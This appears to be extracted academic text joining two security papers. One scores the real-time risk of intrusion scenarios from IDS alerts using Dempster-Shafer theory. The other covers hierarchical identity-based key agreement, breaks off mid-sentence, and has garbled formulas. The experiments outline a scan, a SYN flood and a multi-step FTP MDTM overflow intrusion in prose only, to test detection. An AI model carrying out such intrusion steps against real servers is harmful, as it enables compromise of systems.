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The proposed online risk assessment model can effectively solve the above
mentioned problems while dealing with uncertainties very well. The model
presents a concise and real-time picture of the security state of the protected
target under an intrusion, while providing much more information about the
threat of the intrusion than raw alerts. In addition, It favors further automatic
alert processing and forms the foundation for intrusion responses.

2 Related Work

Risk assessment is the process of identifying, characterizing, and understand-
ing risk. Most traditional network risk assessment models follow a fairly static
procedure and cannot satisfy the requirements of the ubiquitous computing en-
vironment. They are usually off-line models and focus on risks caused by the
vulnerabilities of targets.

As an updated technique in the network security field, online risk assessment
is the real-time evaluation of the threat caused by an ongoing intrusion on a
protected target. In other words, it is an online model that focuses on risks
caused by intrusions. The result of the risk assessment for an intrusion scenario
could represent both the progress of the intrusion and the security states of the
corresponding target, which is very important to minimize the impact on network
security when the intrusion has been detected. At present,however, very little
work has been done to address online risk assessment for technical limitation.
Following are a few online assessment models proposed in recent years.

The Stellar real-time system developed by Stephen Boyer et al. [2] consists of
a scenario building engine and a security risk assessment engine. Its architecture
is similar to our IDAM&IRS. However, security risk is assessed by a set of rules
written in Security Assessment Declarative Language similar to SQL, which is
different from our risk assessment approach.

The RheoStat system developed by Ashish Gehani,et al is used to manage
the real-time risk of a host[3]. Actually, it is an automated intrusion response
system. The model takes the attack probability, the vulnerability exposure and
the cost of the consequence (related to the asset value) as the risk assessment
factors to determine the real-time risk on the protected host caused by an attack
scenario. The model calculates the attack probability according to the match
extent between the history of occurring events and a known intrusion template.
Therefore, the model finds processing new intrusions difficult. In addition, its
risk assessment results easily suffer from the impact of false positive alerts.

Andre Arnes et al present a real-time risk assessment approach based on
Hidden Markov Models[4]. Although the paper states that one may use either
statistical attack data from production or experimental system or the subjective
opinion of experts to determine state transition probabilities, it is hard to use
the model in practice because the approach lacks the detail calculation model of
state transition probability.

In addition,the M-correlator alert processing model proposed by Phillip A.
Porras et al ranks security incidents using an adaptation of the Bayes framework
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for belief propagation in trees[5]. Dirk Outston et al propose an approach based
on the Hidden Markov Models to rank threats caused by intrusions[6]. Although
neither of them are online risk assessment models, they enlighten our research
work.

Before online risk assessment, most of above the mentioned models don’t
use multiple approaches to process IDSs alerts. As a result, these models can’t
make full use of the available information. Therefore, they can not deal with
uncertainties well and are prone to high subjectivity in the online risk assessment
process.

3 The Architecture of IDAM&IRS and Component
Functions

The presented online risk assessment model is used in IDAM&IRS (Intrusion
Detection Alert Management and Intrusion Response System) developed by our
lab. Automated intrusion response is the major function of the system.

To improve the information quality of alerts, different alert processing tech-
niques have their own disadvantages and advantages[7,8]. In IDAM&IRS, alert
confidence learning, alert verification, alert correlation and online risk assess-
ment are used. These approaches complement each other and lead to a better
result than a single approach in the improvement of IDS alert quality. The alert
confidence learning module, the alert verification module and the alert correla-
tion module serve as the foundation of the online risk assessment module because
these modules reduce the impact of false positive alerts on the accuracy of risk
assessment, form intrusion scenarios and provide objective assessment factors for
risk assessment. Further,the proposed online risk assessment provides a strong
support for intrusion response decision-making.

Here we briefly introduce the architecture and the component functions re-
lated to the proposed approach in IDAM&IRS. The architecture of IDAM&IRS
shown in Fig.1 is distributed. The communication module is responsible for re-
ceiving alerts from multiple IDSs and sending response instructions to protected
targets. In the alert filter, alerts are filtered according to their corresponding con-
fidences. Only alerts with confidence values higher than the confidence threshold
can pass through the module. We have proposed a supervised confidence learning
approach described in [9], which is effective in filtering out regular and relevant
false alerts(concering false alert types refer to[10]). The alert verification module
compares the information referred by an alert with the information of its target
host. It is used to reduce false alerts and irrelevant alerts, and provide alert
relevance scores that represent the likelihood of successful attacks. The details
of the module are discussed in [11]. The alert correlation module can aggre-
gate related alerts together and form alert threads that represent corresponding
intrusion scenarios, while providing risk assessment factors, including the alert
amounts of alert threads and alert type numbers of alert threads. It can reduce
random, uncorrelated false-positive alerts and duplicate alerts. The algorithm of
the module is introduced in [10]. The online-risk assessment module evaluates
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Fig. 1. The architecture of IDAM & IRS

the real-time risk caused by each intrusion scenario. According to the result of
online risk assessment and other factors, the intrusion response decision-making
module can determine response times and response measures, and write response
instructions into the response measure queue. Through the console, an admin-
istrator can browse and manage alerts, maintain IDAM&IRS, and configure its
parameters.

4 D-S Evidence Theory

D-S evidence theory (also called D-S theory) was proposed by Dempster and
extended by Shafer. It allows the explicit representation of ignorance and com-
bination of evidence, which is the main difference to probability theory that is
treated as a special case. Therefore, D-S theory is a frequently used tool in solv-
ing complex problems with uncertainties caused by ignorance. Here we introduce
the part of D-S theory just related to the online risk assessment model.

The Frame of Discernment Θ is a finite hypothesis space that consists of
mutually exclusive propositions for which the information sources can provide
evidence. 2Θ denotes its powerset. A basic probability assignment (bpa) or mass
function m is defined such that:

m : 2Θ → [0, 1]

m(φ) = 0∑
V ⊆Θ

m(V ) = 1
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where φ is an empty set. m(V ) expresses the proportion of all relevant and avail-
able evidence that supports the claim that a particular element of X (the universal
set) belongs to the subset V . If m(V ) > 0, V is called a focal element of m.

Dempster’s Rule of Combination gives us a data fusion approach that can
combine different pieces of evidence together to get a joint support contribution
and at the same time reduce uncertainties. The rule is given by the combined
mass function m = m1

⊕
m2

⊕
...

⊕
mn, as follows:

m(φ) = 0

m(V ) =

∑
∩Vj=V

∏
1≤q≤n

mq(Vj)∑
∩Vj �=φ

∏
1≤q≤n

mq(Vj)
(1)

where the combination operator
⊕

is called orthogonal summation.

5 Online Risk Assessment

5.1 Concepts and Idea of the Online Risk Assessment

Online risk assessment could give a comprehensive evaluation of the threat
caused by an intrusion and a concise picture of the security state of the protected
target. The results of online risk assessment could provide a strong decision sup-
port for security administrators or automated intrusion response mechanisms to
make response decisions.

No matter off-line risk assessment models or on-line risk assessment models,
most models assess risks caused by intrusions from three aspects: asset value,
vulnerability and threat. For example, Tim Bass brought forward a risk identifi-
cation and management model R(Criticality, V ulnerability, Threat) [12]. The
Criticality represents the importance of a protected asset(asset value); The vul-
nerability is a weakness in the system. It results from an error in the design,
implementation or configuration of either the operating system or application
software. The threat denotes an agent that can cause harm to an asset(the in-
formation of alerts indicates such an agent). In order to assess risks in real-time,
we propose two notions in the online risk assessment model.

Definition 1. The Risk Index RI is the dangerous degree to a protected target
caused by an intrusion scenario. The meaning of RI is in three aspects:(1)The
probability that an abnormal activity detected by IDS is a true attack.(2)The
probability that an attack can successfully compromise its target.(3)The severity
caused by an attack.

Only a true and successful attack can cause a true threat to a protected target.
Attacks with different severities can result in different threats and damages to a
protected target. In addition, RI represents the objective progress of an intrusion
scenario.

Definition 2. The Risk Distribution is the spectrum of the high risk,the medium
risk and the low risk that a target can endure.
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Fig. 2. Online risk assessment model

The Risk Distribution of a target is determined by the value or importance
of the target. The importance of a target is usually evaluated by a subjective
approach that reflects the security preference of an administrator[12].

The proposed online risk assessment model is shown in Fig.2. The model em-
ploys D-S evidence theory to fuse five assessment factors to compute RI. These
factors in the model can be obtained from the alert confidence learning, the alert
verification and alert correlation, and respectively represent the three aspects
meaning mentioned in the Definition 1. Meanwhile, the target risk distribution
can be determined by the importance of the target. Finally,the risk state of the
target can be determined by the position of RI in the risk distribution of the
target.

5.2 Assessment Process

Step 1 Calculation of RI
In the model, there are three focal elements: V1(No risk),V2(Risk) and, θ

(Uncertain risk θ = V1 ∪ V2). The membership functions of assessment factors
are shown in Fig.3, and as follows:

(1)The alert amount of an alert thread Ak represents not only the attack
strength but also the attack confident situation. The more the alerts in an alert
thread, the more likely the thread represents a true intrusion process.

μ11 =
{

α2−Ak

α2
Ak ≤ α2

0 Ak > α2
, μ12 =

⎧⎨⎩
0 α1 ≥ Ak
Ak−α1
α3−α1

α1 < Ak ≤ α3

1 α3 < Ak

(2)

Where μij is the membership degree that the target state belongs to Vj according
to ith assessment factor. α1 ∈ [5, 15],α2 ∈ [10, 20],and α3 ∈ [15, 30] are constant
and determined by expertise.



Online Risk Assessment of Intrusion Scenarios Using D-S Evidence Theory 41

Fig. 3. Membership functions of assessment factors

(2)The second assessment factor is the updated alert confidence Ck0 ∈ [0, 1]
in an alert thread, that indicates the probability that an abnormal activity is a
true attack. An alert confidence can be got from its corresponding raw alert or
from the proposed alert confidence learning approach.

μ21 = 1 − Ck0 μ22 = Ck0 (3)

(3)With the increase of the alert type in an alert thread, it usually means the
corresponding attack scenario is progressing and the attacker is attempting to
use different attack techniques. Therefore, the third assessment factor, the alert
type number of the alert thread Bk, reflects both the attack confident situation
and the severity of the corresponding intrusion.

μ31 =
{

λ2−Bk

λ2
Bk ≤ λ2

0 Bk > λ2
, μ32 =

⎧⎨⎩
0 λ1 ≥ Bk
Bk−λ1
λ3−λ1

λ1 < Bk ≤ λ3

1 λ3 < Bk

(4)

Where λ1 ∈ [1, 5],λ2 ∈ [5, 9],and λ3 ∈ [6, 10] are constant and determined by
expertise.

(4)Most IDSs can provide alerts with alert severity. The higher the alert sever-
ity , the riskier the corresponding attack. The updated alert severity in an alert
thread Pr0 can be obtained from its corresponding raw alert.

μ41 =
{ ϕ−Pr0

ϕ Pr0 ≤ ϕ

0 Pr0 > ϕ
, μ42 =

{ Pr0
ϕ Pr0 ≤ ϕ

1 Pr0 > ϕ
(5)

The constant ϕ is determined by the specification of the IDS that generates the
alert. For example, the parameter Priority in a Snort alert is used to indicate
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the severity of an incident [13]. Priority is divided into three level(Priority=1,
the most severe level;Priority=2, severe level; Priority=3, the least severe level).
Therefore, set ϕ = 3 and Pr0 = 4− Priority for Snort alerts.

(5)According to the definition 2 and alert verification process, the relevance
score can indicate not only if there is a vulnerability in the protected target but
also if the vulnerability is exploited by an attacker. Actually, a relevance score
represents the likelihood of a successful intrusion. That is why the relevance
score of the updated alert in an alert thread, Rs0, is introduced in the online
risk assessment model.

µ51 = 1−Rs0 µ52 = Rs0 (6)

According to the qth assessment factor, a target risk situation resulted by an
intrusion thread k could be measured by the value of the bpa mk

q (Vj). It expresses
the proportion of qth assessment factor that supports the claim that the target
state belongs to Vj . mk

q (Vj) can be calculated from above membership functions
of assessment factors according to the following equations.

mk
q(Vj) =

µqj∑2
i=1 µqi + 1− wq × PIDS0

(7)

mk
q (θ) = 1−

2∑
j=1

mk
q (Vj) (8)

Where q = 1, 2, ..., 5; j = 1, 2; PIDS0 is the general precision of the IDS that
generates the updated alert of the intrusion thread k. 1−PIDS0 is the incorrect
classification rate of the IDS which is one of major uncertainty sources.

The function of the coefficient wq is to make different assessment factors play
different roles in the risk assessment process because different assessment factors
usually cause different uncertainty in the assessment results. Here set w5 ≥ w4 ≥
w3 ≥ w2 ≥ w1. After the determination of the values of the bpa mk

q (Vj)(j =
1, 2, ..., 5), these values can be further fused into mk(V1), mk(V2), mk(θ) by Eq.(1).
The fusion result mk(V2) is the risk index, that is

RIk = mk(V2) (9)

Step 2 Determination of Risk Distribution and Risk State
In the model, the importance value of a target is determined by the services

provided by the target. Table 1 shows such an example. Then the risk distribution
of a target can be decided according to its corresponding importance value like
Fig4 shows.

In Fig4, there is a distribution feature that the more important a target, the
lower the position of its high risk rang and the longer its high risk state range.
For an ordinary target, its low risk state range,medium risk state range and high
risk state range are [0, 0.5), [0.5, 0.8),and [0.8, 1.0] respectively; For an important
target, its low risk state range,medium risk state range and high risk state range
are [0, 0.4), [0.4, 0.7),and [0.7, 1.0] respectively; For a very important target, its
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Table 1. Importance values of targets

Target Running service Importance
value ξi

Ordinary target Telnet, Web 1

Important target Mail, Ftp 2

Very important target DNS, Database 3

Fig. 4. Risk distributions of targets with different importance values

low risk state range,medium risk state range and high risk state range are [0, 0.3),
[0.3, 0.6),and [0.6, 1.0] respectively.

Finally the risk state of a target is decided by the position of RI in its corre-
sponding risk distribution. For instance, when RI caused by an intrusion is 0.7,
an ordinary target (ξ = 1) is at medium risk state. However, a very important
target(ξ = 3) is at high risk state.

6 Experiments and Analysis

In the experiments, Snort 2.0 IDS and IDAM&IRS were deployed on the subnet
(xxx.71.75.130-xxx.71.75.180) in our laboratory that has a connection to the
Internet. BlackICE PC Protection and Norton Internet Security 7.0 IDSs were
also installed on some hosts in the subnet. There are four types of network
servers, i.e. Http Proxy, Ftp,Web and Database in the subnet. The operating
systems include Windows XP, Windows 2000, Windows 2003 server, and Linux.
The experiment subnet is shown in Fig5.
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Fig. 5. Experiment subnet

At present, there are so many intrusion approaches that it is impossible to
test all of them. In the online risk assessment experiments, a few of the typical
attacks were carried out.

(1) The Vertical Scan attack[14] is an essential step in most intrusion scenarios.
Attackers usually use the approach to collect messages about attacked targets in
order to figure out a way to compromise targets. Here we employed a scan tool
to probe the database server in which a MS SQL Server database was running.
The vertical scan items include:

– opening ports on the server that are usually used to figure out the services
provided by the server and the operating system name,etc.;

– NetBios message that can be used to recognize the target’s register table,
the user names, the work groups, etc.;

– SNMP message that can be used to find the target network connections, the
operating system name & version, the user list, etc.

Fig.6 is the online risk assessment result, which shows that as the scan attack
progressed, more and more alerts were generated and the risk increased rapidly.
The risk curve in Fig.6 accords with the feature of the scan attack. Finally the
vertical scan attack can result in the database server (ξ = 3 , a very important
target) being at the high risk state.

(2)Denial of Service (DoS) is a common attack on the Internet, which dose not
need great attack skills but is hardly defended. In the DoS experiment,the SYN
flood attack,which is a kind of DoS,lasted 1 min. Fig.7 indicates that the risk
caused by DoS attack quickly rises, and soon tends to be a high and constant
value (about 0.7963). This risk assessment result answers to the expertise about
DoS.
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Fig. 6. The online risk assessment result for Vertical scan
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Fig. 7. The online risk assessment result for DoS

Under the condition, ordinary targets (ξ = 1) are at the medium risk state,
both important targets (ξ = 2) and very important targets (ξ = 3) are at the
high risk state.

(3)Most dangerous intrusions usually consist of not a single attack step but
multiple attack steps. In the scenario of Ftp MDTM vulnerability intrusion, an
attacker can compromise an Ftp server by doing the following steps:
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Fig. 8. The online risk assessment result for Ftp MDTM overflow attack

– To probe the 21 port of the target in order to decide if the target provides
Ftp service and get the messages about the name and version of the Ftp
application software. One can make use of these messages to find if there is
MDTM vulnerability on the Ftp server.

– To exploit MDTM vulnerability, the attacker has to know a user name and
its password of the Ftp application service. Therefore, the second step is to
probe a user name and its password through a dictionary attack method.
The step could be bypassed if the Ftp service allows anonymous login.

– With the above messages about the Ftp server, the attacker can use an
MDTM attack tool (such as Swan) to overflow the Ftp service. If the attack
step succeeds, a specific port will be opened. Finally the attacker could get
the system operation right of the target by telnetting the opened port.

The risk assessment result shown in Fig.8 clearly indicates the risk variation
in the three steps. The risk reaches the highest value (about 0.9936) when the
Ftp service is successfully overflowed, which means that the server is totally
controlled by the attacker. All kinds of targets (ξ = 1, 2, 3) would be at the high
risk state in the case.

(4) The online risk assessment model can effectively reduce the impact of false
positive alerts because the model can greatly reduce the assessment uncertainties
by combining multiple assessment factors. In the experiment, alerts generated by
IDSs are processed by the alert correlation model and the online risk assessment
model. There are 2 scenarios:one is a true intrusion scenario that consists of only
3 raw alerts; another is a false positive intrusion scenario that consists of 20 raw
alerts. The risk assessment result shown in Fig.9 indicates that the online risk
assessment approach is able to distinguish a true intrusion scenario from a false
positive scenario.
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Fig. 9. The online risk assessment result for a true intrusion scenario and a false positive
intrusion scenario

In addition, many different experiments show that IDSs may generate a great
number of false positive alerts. However, the relevance scores of these false posi-
tive alerts are low and the alert types of false positive scenarios are monotonous.
As a result, risks caused by false positive scenarios are usually low in the model.
Therefore, the model is quite helpful to find the most dangerous intrusion,while
reducing the impact of false positive alerts.

7 Conclusions

The above experiments prove that the real-time risk evaluations of intrusion
scenarios accord with the actual features of these intrusions and expertise. The
online risk assessment model can deal with uncertainties and subjectiveness well
while providing an objective and accurate result for the security state of a pro-
tected target. The introduction of the risk assessment model enables IDAM&IRS
to tolerate IDS false positive alerts and sets the foundation for intrusion response
decision-making.
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1 Introduction

Key agreement is a fundamental tool for secure communication; it lets two nodes
in a network agree on a shared key that is known only to them, thus allowing
them to use that key for secure communication.

In environments where bandwidth is at a premium, there is a significant ad-
vantage to non-interactive schemes, where two nodes can compute their shared
key without any interaction. The classical (static) Diffie-Hellman key-agreement
protocol [4] is an example of a non-interactive scheme: in that protocol, node A
can compute a shared key with node B knowing only the public key of B (and
its own secret key). But the nodes in this protocol must still learn each other’s
public keys which requires direct communication between them or some other
form of coordination.

To minimize the required coordination, one may use identity-based key-
agreement, where the public key of a node is just the node’s name. Such schemes
rely on a central authority with a master secret key, that provides each node
with a secret key that corresponds to that node’s name. In this setting, the non-
interactive identity-based scheme of Sakai et al. [14] (which is based on bilinear
maps) allows node A to compute a shared key with node B knowing only B’s
name (and A’s own secret key).

However, it is often unrealistic to expect all nodes to register with just one
central authority as required by Sakai et al. [14]. For example, in mobile ad-hoc
networks (MANETs), one expects frequent communication between nodes from
different organizational units. One would therefore prefer a hierarchical system,
where a root authority only needs to distribute keys to a small number of large
organizations, and each of these can further distribute keys to smaller and smaller
units, until finally the end-nodes get their secret keys from their immediate
orgamizational unit. Such a hierarchical scheme would serve well also for military
applications where the organization of the network is already hierarchical in
nature. (Indeed, key-agreement for MANETs and tactical networks served as
our motivation and the starting point for this work.)

Our goal in this paper is to propose schemes that have all the above functional
properties and are secure in a strong sense. That is, they are non-interactive to
save on bandwidth, identity-based to save on coordination and support ad-hoc
communication (see more on this below), and hierarchical to allow for flexible
provisioning of nodes. At the same time, we design these schemes to be fully
resilient to the compromise of any number of end-users (leaf nodes) and resilient
to the compromise of a “threshold” of nodes in the upper levels of the hierarchy.

One elegant scheme that has the above three “functional” properties (but
weaker security guarantees) was proposed by Blundo et al. [2] following the ear-
lier work of Blom [1]. ([2] mainly deals with the non-hierarchical setting, but
they also discuss an extension to the hierarchical case.) In this scheme (see Sec-
tion 2.3), each node has a secret polynomial (in the role of a secret key), and
the shared key between two leaf nodes is computed by evaluating the polyno-
mial held by one node at a point that corresponds to the identity of the other.
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An alternative approach to building a hierarchical scheme is to start from a
randomized key-predistribution schemes as in Eschenauer and Gligor [7], and
extend it to a hierarchical scheme as in Ramkumar et al. [13] (see Section 2.4).

Both hierarchical schemes, however, have a significant limitation in appli-
cations where the end-users, or leaves, in the hierarchy are at a high risk of
compromise (as in a MANET or military application). They guarantee security
only as long as not too many of these nodes are compromised. Once the number
of compromised nodes grows above some threshold, an attacker can learn keys
of uncompromised nodes, and may even learn the master secret key of the whole
system.

On the other hand, the identity-based key agreement scheme of Sakai
et al. [14] provides resilience against the compromise of any number of leaf
nodes, but, as mentioned earlier, it requires a central authority to hand out
keys to each and every participant in the network including any participants
joining the network at a later point.

Our Contribution. The main contribution of this work is in combining the best
properties of the above schemes in order to offer a highly-functional and dynamic
key agreement scheme that enjoys a very high level of resilience against node
compromise. Specifically, we show how to combine a large class of hierarchical
schemes (that includes the schemes from [2,13])1 with the (non-hierarchical)
scheme of Sakai et al. [14], and obtain a hierarchical key-agreement scheme
(KAS) that is fully resilient against compromise of any number of leaf nodes.
In the upper levels of the hierarchy we preserve the property of the original
hierarchical scheme, namely, resilience to the compromise of a threshold of nodes.
We provide a rigorous security analysis for our modified hierarchical scheme in
terms of the security of the original one. Namely, we prove that if the original
hierarchical scheme was secure, then our modified scheme is also secure, but this
time also with respect to compromise of arbitrary number of leaf nodes.

In many cases, this combination of threshold resilience in the upper levels
with full resilience in the leaves is the right security trade-off: It is often the
case that upper-level nodes are better protected (e.g., they are less mobile, have
better physical security, etc.), while leaf nodes are both more numerous and
much more vulnerable to attack.

For a hierarchy of depth L+1 and “security-threshold” t, the amount of secret
information in the schemes in the literature (and thus also in our solutions) grows
in the order of (t2/2)L. Hence these solutions can be used for moderate values
of t and small values of L. However for many practical applications this is not
necessarily a concern. For example, consider a military scenario where a central
authority resides at the headquarters, the leaf nodes belong to individual soldiers,
and the intermediate nodes are the various units. In this case the number of levels
is likely to be relatively small and the same holds for the branching factor of
the tree (except for the lowest level in the hierarchy where the number of leaves

1 To wit, the hierarchical schemes that can be combined in this way are those in which
all the secret keys are obtained as linear combinations of some base elements selected
by the root authority (see Definition 1 in Section 3).
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can be arbitrarily large). In this case the threshold t (which is never larger than
the branching factors at levels above the leaves) and depth L are both relatively
small.

Another very important property of our solution is that nodes can be added
to the hierarchy, by their parents, without requiring any further coordination
with other nodes and without changing the information held by other nodes. In
particular, there is no limitation on the number of children a node can have.
Furthermore, our scheme allows for a threshold of siblings to add a new sibling
without requiring the parent participation. These properties highlight the de-
centralized and dynamic nature of our schemes which is central for many of the
ad-hoc networking applications that motivate this work.

Another source of flexibility in our schemes comes through the use of identity-
based techniques. As said, these techniques free the key-agreement schemes from
the need for distribution of public keys (and of revocation lists). Next, we discuss
these (and other) benefits in more detail.

Benefits of our identity-based solutions. As we pointed out earlier, non-
interactive key agreement can be achieved without resorting to the bilinear maps
used in [14] by using traditional static Diffie-Hellman exchange. This, however,
requires each party to have the peer’s public key before they can compute a
shared key. Depending on the setting, this may necessitate of a centralized cer-
tification authority or, in hierarchical settings as ours, it requires the ability of
nodes to cross-certify each other or verify a certificate chain. Moreover, most
systems will require some form of large-scale coordination and communication
(possibly on-line) to propagate certificate revocation information. Identity-based
schemes significantly simplify deployment by eliminating the certification issues.
All a party needs to know in order to generate a shared key is its own secrets
and the identity of the peer (clearly, the need to know the peer’s identity exists
in any scheme including a certificate-based one where certificates bind identities
to public keys). In particular, in identity-based systems, identities may have a
semantic meaning that identifies their function and attributes without need for
further certification. For example, in a vehicular system a service point in the
road may be identified by the location of that point (e.g., “traffic monitor at
coordinate points x and y”), or in a military application the identity could be
“commander of xyz unit”, etc. A device that needs to communicate securely
with such points only needs to know their “functional identities”. In addition,
functional identities can include other attributes such as a date of validity; the
latter makes keys short-lived and hence less dependent on revocation. When, for
instance, party P ’s identity includes a time period, P will need to obtain a new
secret key from its parent when the period expires; this however does not require
coordination or information exchange with any other node2.
2 As an example, when our scheme is instantiated with multivariate polynomials, each

leaf could get from its parent, once every period, a secret derived by evaluating a
polynomial on a point of the form Hash(LeafId||date).
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Simulative Validation. For MANETs, particularly tactical networks, perfor-
mance is a prime concern. However, key factors contributing to the commu-
nication complexity of a protocol are difficult to capture analytically. We have
therefore implemented the distribution scheme and simulated its performance in
a platoon-level operation in an urban area to adequately represent the impact of
limited and fluctuating connectivity on key distribution performance. It should
be noted, however, that the performance estimates given in Section 4 are only a
qualitative guide to performance on typical MANET devices.

Related Work. In the context of non-interactive identity-based key agreement,
we already mentioned the works of Sakai et al. [14], Blundo et al. [2], and Es-
chenauer and Gligor [7] (and its extension by Ramkumar et al. [13]), which play
a central role in our construction.

There were also a few prior attempts to improve the resilience of the scheme
of Blundo et al. Hanaoka et al. [9] show that in a sparse system (where most
pairs of nodes never need to communicate) the threshold can be increased by a
significant factor (possibly up to 16 fold) without adversely effecting the perfor-
mance. That solution is applicable in relatively static networks where one can
partition the nodes into disjoint sets and have no inter-set communication, but
it is not applicable in settings where every pair of nodes may potentially need
to communicate.

Another technique for improving the resilience of the Blundo et al. scheme was
proposed by Zhang et al. [19], using random perturbations in order to randomize
the polynomials used in Blundo et al. However, a practical instantiation of the
parameters for the protocol enables the parties to agree on a small number of bits
(say 12) in each execution of the protocol. Thus, in order to generate enough
secret keying material about ten independent executions of the protocol need
to be carried out. Furthermore, this scheme does not provide the hierarchical
capabilities.

Matt [12] described some trade-offs between resilience and performance, and
even proposed a combination of the schemes of Blundo et al. and Sakai et al.
However, his scheme requires that each node communicates directly with the
central authority, and hence it is not a hierarchical scheme.

Following the identity-based encryption scheme of Boneh and Franklin [3],
Horwitz and Lynn [10] initiated a study of hierarchical identity-based encryption.
Interestingly, their scheme combines a pairing-based scheme and a polynomial-
based one as we do. However, they only use two levels where the pairing-based
scheme is placed at the top level and the polynomial-based scheme at the second
level. In this work we reverse the order, using the polynomial-scheme for all the
top levels and the pairing-based scheme only for the leaves to obtain a solution
that supports non-interactive key agreement (encryption functionality as in [10]
can support key agreement but requires interaction).

Open question. It would be interesting to have a hierarchical non-interactive
key agreement scheme where resilience is achieved not only against any number
of corruptions in the leaves (as we do) but also against any number of corruptions
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in the higher levels of the hierarchy. Note that this can be achieved with our
solution by setting the threshold in upper levels of the hierarchy to the number
of children in each level. The drawback of this solution is that it becomes im-
practical with large thresholds (see above). Also, such a scheme loses one of the
important benefits of our scheme, namely, the possibility of adding new nodes
to the hierarchy without influencing or changing the information held by other
nodes. One hopes that a better solution could be achieved by developing a full hi-
erarchical scheme solely based on pairing cryptography similar to known schemes
for hierarchical identity-based encryption. The search for such a solution is one
of the more interesting problems left open by our work.

Alternatives to Non-Interactive Key Agreement. One can argue that us-
ing non-interactive key agreement does not really eliminate interaction since the
shared key must be used for communication at some point (or else why compute
it at all). According to this view, the effect of non-interactive key agreement can
also be obtained with encryption and signatures: Simply have the initiator of the
communication send an encrypted (under the recipient’s public key) and signed
secret key along with the first communication flow, and thereafter the nodes can
use that key to secure further communication.

We point out, however, that using non-interactive key agreement offers some
important advantages, most significantly the saving of bandwidth (and energy).
Indeed, using encryption and signatures as above entails additional communica-
tion of at least a few dozen (or a few hundred) bytes with the first communication
flow. In environments where bandwidth and energy are very limited, this addi-
tional overhead may be significant. In tactical networks another benefit of our
non-interactive solution is reducing the detectability (e.g., via RF emissions) of
mobile nodes.

In addition, one can envision applications where the shared key is used for
purposes other than just securing a traditional communication channel between
the two peers. For example, consider using the shared key to establish a stegano-
graphic channel between the peers, trying to hide not only the content of
communication but also its very presence. In this case, one cannot simply use en-
cryption, since that first encrypted message would be detected. Having a shared
key already in place allows the peers to establish a steganographic channel be-
tween them.

Another case where non-interactive key agreement is needed, is when the
shared key provides a shared randomness between the peers, even though the two
end points are never meant to interact directly with each other. For illustration,
consider two nodes A and B that need to perform some measurement and report
it to node C. Node C needs to compute the average of the two values, but we
want to hide from it the actual measurements. One way to achieve this is for
A and B to “blind” their measurement by adding/subtracting a blinding factor
that is derived from their shared secret key. Since they both use the same number
then C can still compute the average. But since C does not know the blinding
factor then it cannot recover the original measurements.
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2 Preliminaries

Our key-agreement schemes (KAS) are built by combining the identity-based key
agreement protocol of Sakai et al. [14] with hierarchical schemes that use linear
operations, such as the polynomial-based key distribution system of Blundo et
al. [2] or the random-subset-based scheme. Below we present some background
material and recall these schemes.

2.1 Bilinear Maps and the BDDH Assumption

Let G1 and G2 be two cyclic groups of order q for some large prime q. Let e be
a mapping e : G1 ×G1 → G2. The mapping e is:

1. Bilinear if e(P a, Qb) = e(P, Q)ab for any P, Q ∈ G1, a, b ∈ Zq.
2. Non-degenerate if e does not send all pairs to the identity in G2.
3. Computable if there is an efficient algorithm to compute e(P, Q) for all P, Q ∈

G1.

Bilinear mappings that can be computed efficiently are known based on Weil
and Tate pairings in Abelian varieties.

Bilinear Decisional Diffie-Hellman Problem (BDDH)
The central hardness assumption on which we base our schemes is the following
BDDH assumption introduced by Boneh and Franklin [3]. Let G1, G2 and e be
as above. Given a random P ∈ G1, P a, P b, P c ∈ G1 for random a, b, c ∈ Zq, and
given h ∈ G2, it is hard to distinguish the case where h = e(P, P )abc from the
case where h = e(P, P )r for a random and independent r ∈ Zq. Formally, an
algorithm A has advantage ε in solving the BDDH in 〈G1, G2, e〉 if

Pr[A(P, P a, P b, P c, e(P, P )abc) = 1]− Pr[A(P, P a, P b, P c, e(P, P )r) = 1] ≥ ε

where the probability is over the random choice of P ∈ G1, a, b, c, r ∈ Zq, and the
internal randomness of A. The BDDH assumption (with respect to 〈G1, G2, e〉)
states that feasible adversaries can have only an insignificant advantage.3

2.2 Non-interactive Identity Based Key Agreement

Sakai et al. [14] propose the following non-interactive (but not hierarchical) key-
agreement scheme. The central authority sets up the parameters for an identity
based public key system, by fixing two cyclic groups G1, G2 and the bilinear
map e : G1 ×G1 → G2. Furthermore, it chooses a cryptographic hash function
H : {0, 1}∗ → G1. It then chooses a secret key s ∈ Zq and provides a node with
identity ID with the secret key SID = H(ID)s ∈ G1.
3 In this extended abstract we forgo the asymptotic notations that are needed to make

this formal. Instead we take the “concrete security” approach, directly relating the
advantage of an adversary against our scheme to the advantage in solving BDDH
over the relevant group.
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The shared key between two nodes with identities ID1 and ID2 is K =
e(H(ID1), H(ID2))s ∈ G2, which party ID1 computes as K = e(SID1 , H(ID2))
and ID2 computes as K = e(H(ID1), SID2).

The security of this scheme can be reduced to the BDDH assumption in the
random-oracle model, as was shown in [6].

2.3 Polynomial Based KAS

Our generic key-agreement scheme (KAS) presented in Section 3 can be in-
stantiated using different hierarchical systems. Here and in the next subsection
we describe two instantiations of such hierarchical systems. The first is based
on multivariate polynomials and follows Blundo et al. [2] (we will refer to it
as Blundo’s scheme). Let L be the depth of the hierarchy, i.e., the nodes are
arranged in a tree with L levels. Each node’s identity corresponds to the path
from the root to the node (thus a node at level i will have as identity a vector
with i components 〈I1, . . . , Ii〉 where each Ij is an integer).

For desired threshold parameters {ti : i ≤ L}, the root authority chooses a
random polynomial (over Zq for a large enough prime q) F (x1, y1, · · · , xL, yL),
where the degree of xi, yi is ti. F is chosen such that F (x1, y1, · · · , xL, yL) ≡
F (y1, x1, · · · , yL, xL), i.e. F is symmetric between the x’es and y’s. One way to
choose such polynomial is to choose a random polynomial f on the same vari-
ables, and then set F (x1, y1, · · · , xL, yL) = f(x1, y1, · · · , xL, yL) + f(y1, x1, · · · ,
yL, xL). We note that the size of the description of F (number of coefficients)
is

∏L
i=1

(ti+1)(ti+2)
2 (the half is due to the symmetry of the polynomial), so this

scheme can only be used with moderate thresholds ti and small values of L.
The master secret key of the system is the polynomial F itself. The secret

key of node with identity I in the first level of the hierarchy is the poly-
nomial FI = F (I, y1, x2, y2, · · ·) that has 2L − 1 variables. Similarly, the se-
cret key of a node at level i with identity I = 〈I1, . . . , Ii〉 is the polynomial
FI = F (I1, y1, · · · , Ii, yi, xi+1, yi+1, . . .) that has 2L − i variables, and the se-
cret key of the leaf with identity 〈I1, . . . , IL〉 is the polynomial in L variables
F (I1, y1, · · · , IL, yL).

The shared key between the two leaf nodes 〈I1, . . . , IL〉 and 〈J1, . . . , JL〉 is
